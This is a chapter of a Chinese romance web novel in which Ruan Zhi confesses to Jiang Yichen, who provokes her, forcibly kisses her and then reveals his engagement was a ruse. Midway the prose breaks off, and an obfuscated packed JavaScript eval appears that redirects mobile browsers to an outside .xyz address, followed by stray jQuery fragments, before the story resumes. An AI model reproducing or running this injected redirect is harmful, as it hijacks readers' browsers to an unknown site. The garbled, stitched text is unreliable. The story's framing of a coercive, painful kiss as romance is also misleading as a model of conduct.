43. 喜欢

作品:《夏日沦陷[破镜重圆]

    阮知声音温软低哑,“我真的后悔了。”


    蒋亦沉背往后靠了靠直盯着她,“后悔什么了?”


    阮知咬了咬嘴唇,“我后悔那天对你发脾气,后悔说以前是我瞎了眼才会看上你。后悔说以后你就当不认识我,还有~”


    “还有就是,我后悔曾经说没有爱过你。”


    蒋亦沉吸了一口烟后缓缓吐出,“然后呢?”


    阮知垂下的眼又再次抬起,“蒋亦沉,我还是喜欢你。”


    她微弱的声音里带着几分哀求,“你不要跟别人订婚,好不好?”


    沉默半响。


    蒋亦沉猛地吸了几口烟后拈灭,扔进了旁边的烟灰缸里。


    他忽然就笑了,眼底如海般深邃看不透。“你说不要我就不要,你说要我就要我。阮知,你把我当什么呢?”


    “我是你么?”蒋亦沉抬头看过去,“如此言而无信,说话就当放屁。我蒋亦沉的威信何在,我蒋氏集团的诚信何在?我以后还如何在商界立足?”


    阮知低头敛睫,紧紧地咬着嘴唇。


    “阮知,你现在回头不觉得晚了么?”蒋亦沉又笑了一声,“还是你觉得你有足够的魅力,足够的本事向我招招手我就回头了?”


    “还是你觉得我还爱着你,你就肆无忌惮了?”


    阮知的裙子被捏出一片褶皱,她闭了闭眼让自己镇定下来。看来确实是她太天真了,高看了自己,高看了他们之间她自以为的情分。


    既然如此,她又还有什么好在意的呢


    阮知重新抬眸看过去,身子也站直了些,“你真的爱她吗?”


    蒋亦沉就像听了个天大的笑话,“阮知,你觉得我蒋亦沉是个会将就的人吗?夏雨晴身材,样貌,学历,家庭背景哪一样不是顶级的?”


    说着蒋亦沉眯着眼从上到下打量了阮知一遍,“她哪一样比你差?你不会觉得我爱过你就爱不了别人了吧?”


    还真是成了死缠烂打的小丑!


    阮知嘴唇颤抖,眼底酸涩隐痛。


    既然如此被血淋淋地撕开,那她也顾不了什么了。阮知重新看向沙发上的人,“蒋亦沉,你就非要如此羞辱我吗?”


    蒋亦沉不动声色,“是你自己找上门的。”


    明明一个月前他还对她无微不至,各种暧昧示意,甚至是拥抱。也就短短一个月而已,就如此冷漠无情!


    他就是故意的吧,故意惹她走到这一步,再反过来羞辱她,是么?


    耍着她玩么!


    阮知忍无可忍,心里的酸涩一瞬变成了愤怒。她三两步冲过去一把揪住了蒋亦沉的领带。“把说过的话当放屁的人是你,蒋亦沉,你个混蛋!”


    蒋亦沉头往后靠了靠,他笑起来,“阮知,你不是很乖么?要是让人看到你如此泼,会不会惊掉下巴?”


    还管它什么泼妇不泼妇!


    阮知眼尾湿漉,声音都哑了,她紧紧地拽着蒋亦沉的领带依然不解气。“你个混蛋,我就是泼妇怎么了?”


    蒋亦沉一脸淡然地看着他,眼里看不出半分情绪的波动。


    阮知的愤怒直冲颅顶,忽然她一抬腿,细高跟直踩在了他的胸口上。“蒋亦沉,说话当放屁的是你,言而无信的也是你。”


    说着阮知的手又拽紧了几分,脚上一用力,像是使出了浑身的力气。“是你亲口说的,这辈子只爱我一个人。”


    如此僵持了三秒,蒋亦沉抬手一握她脚踝用力一拽,一拉,一压,阮知就被他压在了沙发上。


    阮知还眼前发黑眼冒金星的时候就被上方的人吻住了,又凶又猛又突然。


    蒋亦沉疯了似的,对着她发狠撕磨。待阮知反应过来时,她已动弹不得,连呼吸都困难。


    阮知胡乱挥着手想捶他,可双手很快就被握住举过了头顶。


    她好像哪里疼,可在几近缺氧的状态下。渐渐的,疼痛也感知不到了。


    “少爷~”


    就在感觉窒息时,蒋亦沉终于放开了她。


    “少爷,已经过了一点了,我们几时出发?”


    蒋亦沉看了她一眼,起身走向房门,“半小时后吧。”


    蒋亦沉说完关了房门,外面再没有声音。


    室内,阮知蓬头散发地躺在沙发上,胡乱地抹着止不住往外翻涌的眼泪。


    她好痛啊,嘴唇好像被磨破了,手腕痛,心也痛。


    蒋亦沉转身看到了正在默默抹眼泪的人,脑子一瞬清醒,心被狠狠地剜了一下。


    他忽然意识到刚刚自己真的太过了,他走过去抬手帮她擦眼泪,“哭什么。”


    阮知抬手一巴掌甩了过去,“你都要订婚了,你还这样,你就这么羞辱我是吧。”


    打完,阮知终于哭出了声。但也只是小声的,止不住的抽泣。


    阮知哭着爬起来就想走,蒋亦沉一把拉住了她。“谁说我要订婚了?”


    ??


    阮知脑袋短路一下反应不过来。


    只听蒋亦沉说,“你到底哪里有确切消息看到我要订婚了,阮知,是不是你自己太紧张了?”


    阮知脑袋懵了一下,她想起刚刚有人来问蒋亦沉什么时候出发?那他这是要出远门?


    既然要出远门,那明天怎么可能订婚呢。


    所以刚刚的一切都是他故意的,故意刺激她。


    混蛋!


    阮知转过身泪眼婆娑的,“蒋亦沉,你是不是故意的?”


    蒋亦沉一把把人拉进怀里,阮知挣扎着打人。“你个骗子,你个混蛋!”


    蒋亦沉紧紧箍住她,“你明明是爱我的,可你总是不肯低头,你就是不愿回来。”


    “我若不用这招,你还会回来吗?”


    憋屈了一晚上的阮知终于哭出了声,放声大哭,像是要把这一个月的委屈压抑统统都释放出来。


    时间滴滴答答而过。


    蒋亦沉摸了摸阮知的发顶,“哎,你把眼泪鼻涕都弄我衣服上了,等下我还怎么出门?”


    阮知一听愣了两秒后干脆在他衣服上使劲蹭了一下,蹭完后起身出来,转过了身背对着蒋亦沉。


    蒋亦沉笑一声,开始整身上的衣服。领带被她扯得不成样,胸前一片湿漉,还被她高跟鞋踩出几道印子。


    这哪像是人前一向乖乖模样的阮知会做的事?啧啧!


    重新整理完毕,蒋亦沉转到阮知面前笑着低头凑近看她。阮知瞥他一眼又转了个身,蒋亦沉跟过去。


    烦死了!


    阮知现在骂人也骂不出来了,毕竟今天晚上她是够丢人现眼的了。


    虽然过程难以启齿,但好在她的目的达到了。此时除了难堪,她已然没了愤怒。


    “哎,恼得应该是我好吧。”蒋亦沉嬉皮笑脸的,似乎刚刚那个“演戏”的不是他。“你看看把我打成啥样了?拳打脚踢,扯衣服,扇巴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441679|180918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    掌……”


    “你活该!”


    说完,阮知又抬头看向蒋亦沉的脸,怎么一点印记都没?


    此时他穿得规规整整,除了衣服上的几道印记,像是什么都没发生。


    阮知张了张嘴,“打,打痛了没有?”


    “这会心疼了?”蒋亦沉眉梢微抬,“刚刚是谁,恨不得撕了我?”


    阮知嘟着嘴,“是你故意刺激我的。”


    “这招还真有效。”蒋亦沉重新把人搂进怀里,“这不什么心思都暴露了,我就知道你是爱我的。”


    “不过,我还是得向你到个歉,所有的一切都是为了让你回到我身边。以后不允许再藏着掖着自己的心思,不可以再欺骗我。”


    阮知点头说好。


    蒋亦沉捏了捏她的鼻子,“你该睡觉了,很晚了。”


    突然想起来刚刚的事,阮知眼神扫过桌上的两个包。“这么晚了,你要去哪里呢?”


    “去香港。”蒋亦沉说,“我后天就回来,乖乖在家等我好吗?”


    磨磨蹭蹭的,半个小时早就过了。


    阮知点头,“那你赶紧出发吧。”


    “行,我让人上来给你铺床,还睡你以前那个房间吧。”蒋亦沉拎上包,“对了,明天我妈要大摆宴席。你就跟着吃吃喝喝就行了。”


    哦,原来蒋家果然有喜事,只不过不是订婚。


    磨磨蹭蹭后,蒋亦沉匆匆忙忙走了。阮知回到她曾经住过的房间,里面几乎没什么变化。


    阮知往床上一躺,这一夜怎么就跟做梦似的。


    明明她还在京北参加热闹的庆功宴的,然后一路风驰电掣赶过来。又哭又闹又打人,真是丢死人了。


    还好,反正没别人看到,也就无所谓了。


    阮知摸了摸自己的嘴唇,唇角一片明显是破皮了,好疼啊。


    她一晃神,仿佛身上还留有蒋亦沉的味道。淡淡的薄荷香,淡淡的烟草味。


    是她喜欢的味道。


    阮知抬头看着天花板,眼皮重,酸涩不适。但不知想到了什么,她忽然就笑了笑。


    直到第二天被人叫醒。


    “知知,知知~”


    阮知听到声音,赶紧滑下床开门,“姑~”


    张英进来拉着阮知的手,“你这孩子,回来了也不跟姑姑说,早上管家跟我说我才知道呢。”


    “睡好了?需要什么就跟姑姑说啊。”张英看着她,“哎呀,一个月不见,又瘦了呢。走,吃早餐去。”


    下到楼下,院子里彩带飘飘,鲜花环绕,十分喜庆。


    阮知问,“姑姑,今天家里是要请人吗?”


    “嗯,请得都是以前的老朋友。”张英现在依然瘦削,但是面色红润,精神抖擞。“以前我身体不好,就想清静。现在我既然回来了,人还是要交往的。她们愿意结交我嘛,我总要回个礼。”


    刚走到餐厅,阮知一抬头脚步一僵。她见到了一个许久未见的人,也就是她的姑父蒋荣。


    蒋荣年过五十,外表高大儒雅,给人一种极其温和的感觉。


    可是从他做过的事,以及他的经历来看,他内心可并不如他的外表儒雅。


    四年过去,他老了许多。也不知他现在在这个家到底是何地位。


    蒋荣也看到了她,惊了一瞬,似乎很意外。


    阮知调整了一下状态,站直了些,该面对的终究要面对。